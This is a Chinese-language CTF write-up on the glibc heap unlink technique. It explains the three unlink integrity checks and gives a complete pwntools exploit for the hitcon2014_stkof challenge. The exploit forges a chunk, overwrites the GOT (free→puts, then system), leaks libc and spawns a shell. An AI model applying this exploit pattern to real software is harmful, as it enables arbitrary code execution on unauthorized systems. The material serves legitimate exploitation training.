知识点

就我自己的理解,unlink就是大概就是在unsortedbin中这样的双向链表中,在第一个堆中写入伪造的一个堆结构,溢出到第二个堆的prve_size,和size位时,改size的最后一位为0,这样free第二个堆时,会触发堆的合并机制,在改写第一个堆的内容是可以造成一个任意位置的读写

保护检查

下面是一个大佬总结的 大佬的文章

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

检查3:检查前后被释放chunk的fd和bk

可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址

hitcon2014_stkof

这是buu上的一个题目,也差不多是很多大佬在讲这个知识点例题

1

got表可以改

2

edit(自己命名的)这里的修改没有进行长度的检查,溢出什么的很方便

各个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil(b'OK')


def edit(num,content):
p.sendline(str(2))
p.sendline(str(num))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil(b'OK')

def delete(num):
p.sendline(str(3))
p.sendline(str(num))

先申请4个堆

1
2
3
4
5
add(0x30) //
add(0x80) //伪造堆

add(0x80) //用来free进行合并的 必须0x80才是unsortedbin
add(0x30) //放/bin/sh\x00的

3

然后就是伪造和free

1
2
3
4
5
payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)

edit(2,payload)
delete(3)

这里重点讲一下bss的位置是

4

add函数中malloc时返回的地址的存放点

bss-0x18是第一个堆的返回地址放在的位置

bss-0x10是bss伪造堆写入数据地址(检查)

这样创建的三个堆就可以edit了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn')
#p=remote('node5.buuoj.cn',27761)
elf=ELF('./pwn')
atoi_got = elf.got['atoi']
libc=ELF('./libc-2.23.so')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']



#bss=0x6021C0
bss=0x602140
def add(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil(b'OK')


def edit(num,content):
p.sendline(str(2))
p.sendline(str(num))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil(b'OK')

def delete(num):
p.sendline(str(3))
p.sendline(str(num))
#p.recvuntil(b'OK')

#gdb.attach(p)

add(0x30)
add(0x80)

add(0x80)
add(0x30)
payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20)
payload+=p64(0x80)+p64(0x90)
gdb.attach(p)
pause()
edit(2,payload)

delete(3)

payload2=b'c'*0x10
payload2+=p64(free_got)+p64(puts_got)
#payload2+=p64(free_got)+b'\x7f'+b'd'*5
edit(2,payload2)
payload1=p64(puts_plt)

edit(1,payload1)

delete(2)

leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

print(hex(leak))
libc_addr=leak-libc.sym['puts']

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(1,payload)

edit(4,'/bin/sh\x00')
delete(4)

p.interactive()